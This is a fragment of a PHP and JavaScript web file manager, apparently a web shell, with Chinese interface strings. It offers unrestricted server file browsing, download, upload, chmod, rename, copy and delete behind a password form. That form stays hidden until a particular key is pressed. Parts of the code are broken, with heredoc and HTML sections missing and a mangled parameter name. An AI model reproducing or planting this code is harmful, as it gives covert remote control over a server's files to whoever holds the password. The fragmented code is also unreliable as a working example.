// function sideOut(d, t) { window.setTimeout(display, t); function display() { $("load").style.display = "none" } } function ajax(arg, type) { if ($("load")) { $("load").style.display = "block"; $("load").innerHTML = "正在载入......" } if (type == 2 || arg == 2) { $("load").innerHTML = "功能陆续完善中......"; sideOut($("load"), 1500); return } if (type == 1) arg = 'action=show&dir=' + arg; if (type == 3) { if (confirm("确定删除当前文件么?")) arg = 'action=delete&file=' + arg; else { $("load").innerHTML = "操作已取消"; sideOut($("load"), 1500); return } } if (type == 4) { window.location.href = '?action=download&file=' + arg; sideOut($("load"), 500); return } if (type == 5) { var mk = prompt('请输入创建文件夹名称:', ''); if (!mk) { $("load").innerHTML = "操作已取消"; sideOut($("load"), 1500); return } arg = 'action=_mkdir&dir=' + mk } if (type == 6) { $("upload").style.display = 'block'; $("close_file").onclick = function() { $("upload").style.display = 'none'; $("load").innerHTML = "操作已取消"; sideOut($("load"), 1500); return } $("_file").onclick = function() { this.form.submit(); $("upload").style.display = 'none'; $("userfile").value = ''; return } return } action = arg ? arg: 'action=show'; var options = {}; options.url = '{self}'; options.listener = callback; options.method = 'POST'; var request = XmlRequest(options); request.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); request.send(action) } function view(arg) { action = 'action=view&file=' + arg; var options = {}; options.url = '{self}'; options.listener = viewcallback; options.method = 'POST'; var request = XmlRequest(options); request.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); request.send(action) } function edit() { $("load").style.display = "block"; $("load").innerHTML = "确保编码一致,不在提供编辑功能.可以使用上传功能覆盖当前编辑文件!"; sideOut($("load"), 4000); return } function fileperm(name, type) { var newperm; if (type == 3) newperm = prompt('需要输入完整路径(包含文件名):', ''); else newperm = prompt('请输入名称:', ''); if (!newperm) return; if (type == 1) chmod(name, newperm); if (type == 2) rename(name, newperm); if (type == 3) copy(name, newperm) } function chmod(name, perm) { action = 'action=chmod&file=' + name + '&perm=' + perm; var options = {}; options.url = '{self}'; options.listener = callback; options.method = 'POST'; var request = XmlRequest(options); request.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); request.send(action) } function rename(name, perm) { action = 'action=rename&file=' + name + '&newname=' + perm; var options = {}; options.url = '{self}'; options.listener = callback; options.method = 'POST'; var request = XmlRequest(options); request.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); request.send(action) } function copy(name, perm) { action = 'action=copyfile&file=' + name + '©file=' + perm; var options = {}; options.url = '{self}'; options.listener = callback; options.method = 'POST'; var request = XmlRequest(options); request.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); request.send(action) } function XmlRequest(options) { var req = false; if (window.XMLHttpRequest) { var req = new XMLHttpRequest() } else if (window.ActiveXObject) { var req = new window.ActiveXObject('Microsoft.XMLHTTP') } if (!req) return false; req.onreadystatechange = function() { if (req.readyState == 4 && req.status == 200) { options.listener.call(req) } }; req.open(options.method, options.url, true); return req } function viewcallback() { var data = this.responseText; if (data) { $("open").style.display = "block"; $("show_file").focus(); $("show_file").innerHTML = data; close(); $("show_file").onblur = function() { $("open").style.display = "none" } } else { $("load").style.display = "block"; $("load").innerHTML = "不支持预览此类型的文件,或者预览的文件大于1Mb!"; sideOut($("load"), 2000); return } } function callback() { var json = eval("(" + this.responseText + ")"); if (json.status == 'off') { document.onkeydown = function(e) { var theEvent = window.event || e; var code = theEvent.keyCode || theEvent.which; if (80 == code) { $("login").style.display = "block" } } } if (json.status == 'close') { document.body.innerHTML = json.data; $("login").style.display = "block"; login() } if (json.status=='on'){ window.location.reload(); return; } if (json.status == 'ok') { ajax(); document.body.innerHTML = json.data } if (json.pages == '') { $("pages").style.display = "none" } if (json.pages) { $("pages").style.display = "block"; $("pages").innerHTML = json.pages } if (json.node_data) $("show").innerHTML = json.node_data; if (json.time) $("runtime").innerHTML = json.time; if (json.listdir) $("listdir").innerHTML = json.listdir; if (json.memory) $("memory").innerHTML = json.memory; if (json.disktotal) $("disktotal").innerHTML = json.disktotal; if ($("load")) { $("load").style.display = "none" } if (json.error) { $("load").style.display = "block"; $("load").innerHTML = json.error; sideOut($("load"), 1500) } if (json.notice) { $("load").style.display = "block"; $("load").innerHTML = json.notice; sideOut($("load"), 1500); } } function reload() { var options = {}; options.url = '{self}'; options.listener = callback; options.method = 'POST'; var request = XmlRequest(options); request.setRequestHeader('AJAX', 'true'); request.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); request.send('action=init') } function addEvent(obj, evt, fn) { if (obj.addEventListener) { obj.addEventListener(evt, fn, false) } else if (obj.attachEvent) { obj.attachEvent('on' + evt, fn) } } function init() { $(); login(); reload() } function close() { $("close").onclick = function() { $("open").style.display = "none" } } function login() { $("login_open").onclick = function() { var pwd = $("pwd").value; var options = {}; options.url = '{self}'; options.listener = callback; options.method = 'POST'; var request = XmlRequest(options); request.setRequestHeader('AJAX', 'true'); request.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); if (pwd) request.send('pwd=' + pwd) } } function $(d) { return document.getElementById(d) } addEvent(window, 'load', init); HTML; return str_replace('{self}',self,$js); } static protected function css(){ $css=<<$page_nums ? ceil($total_nums/$page_nums) : 1; if ($nums>1){ $page=intval($_POST['page']) ? intval($_POST['page']) : 1; if ($page>$nums || $page<1) $page=1; if($page==1){$for_start=0; $for_page=$page*$page_nums-1;} else {$for_page=$page*$page_nums-1 > $total_nums ? $total_nums : $page*$page_nums-1; $for_start=$page*$page_nums-1 > $total_nums ? ($page-1)*$page_nums-2 : $for_page-$page_nums-1 ; } } if($nums==1){ $for_start=0; $for_page=$total_nums; } for($i=$for_start;$i<$for_page;++$i){ if($array[$i]=='.'||$array[$i]=='..') continue; if (is_dir($file.$array[$i])) $dir[] = $array[$i]; elseif(is_file($file.$array[$i])) $files[] = $array[$i]; } $next = $page+1<=$nums ? $page+1 : $nums; $previous = $page-1>1 ? $page-1 : 1; if($nums>10){ if($page>5){ if($nums-$page>=5){ $ipage=$page-4; $_nums=$page+5; }else{ $ipage=$nums-9; $_nums=$nums; } }else{ $ipage=1;$_nums=10; } }else{ $ipage=1; $_nums=$nums; } for($i=$ipage;$i<=$_nums;++$i){ if($i==$page) $_page.=sprintf('%s ',urlencode(self::convert_to_utf8($file)),$i,$i); else $_page.=sprintf('%s ',urlencode(self::convert_to_utf8($file)),$i,$i); } /***************** 分页结束 ******************/ if (!isset($dir)) $dir = array(); if (!isset($files)) $files = array(); $_ipage_file=urlencode(rtrim(self::convert_to_utf8($file),'/')); //bug修复 $_pages=<<
$c
";
ob_end_flush();
exit;
}
function _mkdir(){
if($_POST['dir']){
$mkdir=$_COOKIE['PATH'].self::convert_to_utf8($_POST['dir'],'utf8');
if(true==@mkdir($mkdir,0777)){
$_POST['dir']=$_COOKIE['PATH'];
self::show('文件夹创建成功');
}
else die('{"error":"文件夹创建失败"}');
}
}
function chmod(){
if($_POST['file']&&$_POST['perm']){
$file = urldecode(self::convert_to_utf8($_POST["file"],'utf8'));
$perm=base_convert($_POST['perm'], 8, 10);
if(true==@chmod($file,$perm)){
$_POST['dir']=$_COOKIE['PATH'];
self::show('权限修改成功');
}
else die('{"error":"文件修改失败"}');
}
}
function rename(){
if($_POST['file']&&$_POST['newname']){
$file = urldecode(self::convert_to_utf8($_POST["file"],'utf8'));
$newname=$_COOKIE['PATH'].self::convert_to_utf8($_POST['newname'],'utf8');
if(true==@rename($file,$newname)){
$_POST['dir']=$_COOKIE['PATH'];
self::show('文件重命名成功');
}
else die('{"error":"文件修改失败"}');
}
}
function upload(){
$file=$_COOKIE['PATH'].basename($_FILES['userfile']['name']);
if (true==@move_uploaded_file($_FILES['userfile']['tmp_name'],self::convert_to_utf8($file,'utf8'))){
exit('');
}
else{
exit('');
}
}
function copyfile(){
if($_POST['file']&&$_POST['copyfile']){
$file = urldecode(self::convert_to_utf8($_POST["file"],'utf8'));
$newname=self::convert_to_utf8($_POST['copyfile'],'utf8');
if(true==@copy($file,$newname)){
die('{"error":"文件拷贝成功"}');
}
else die('{"error":"文件拷贝失败"}');
}
}
function delete(){
$file = urldecode(self::convert_to_utf8($_POST["file"],'utf8'));
if(is_file($file)){
if(true==@unlink($file)) {
$_POST['dir']=$_COOKIE['PATH'];
self::show('文件删除成功');
}
else die('{"error":"文件删除失败"}');
}
if(is_dir($file)){
if(true==@rmdir($file)) {
$_POST['dir']=$_COOKIE['PATH'];
self::show('文件夹删除成功');
}
else die('{"error":"文件夹删除失败"}');
}
}
function download(){
$filename = urldecode(self::convert_to_utf8($_GET["file"],'utf8'));
if (file_exists($filename)) {
header ("Cache-Control: no-cache, must-revalidate");
header ("Pragma: no-cache");
header("Content-Disposition: attachment; filename=".basename($filename));
header("Content-Length: ".filesize($filename));
header("Content-Type: application/force-download");
header('Content-Description: File Transfer');
header('Content-Encoding: none');
header("Content-Transfer-Encoding: binary" );
@readfile($filename);
exit();
}
}
static protected function uppath($path){
$return='';
$path=self::convert_to_utf8(rtrim($path,'/'));
if(strpos($path,"/")==0) return sprintf('%s',$path,ucfirst($path));
else {
$array=explode("/",$path);
foreach($array as $i => $value){
if($i==0) $path=$value;
if($i>0) $path.=sprintf('/%s',$array[$i]);
$return.= sprintf('%s ',$path,ucfirst($value));
}
return $return;
}
}
static protected function perms($file, $type = '1') {
if ($type == 1) {
return substr(sprintf('%o', fileperms($file)), -4);
}
if ($type == 2) {
return self::getperms($file);
}
if ($type == 3) {
return date('Y-m-d h:i:s', filemtime($file));
}
if ($type == 4) {
return is_dir($file) ? 'directory' : self::byte_format(sprintf("%u",
filesize($file)));
}
}
static protected function headers() {
header ("Cache-Control: no-cache, must-revalidate");
header ("Pragma: no-cache");
$eof = <<< HTML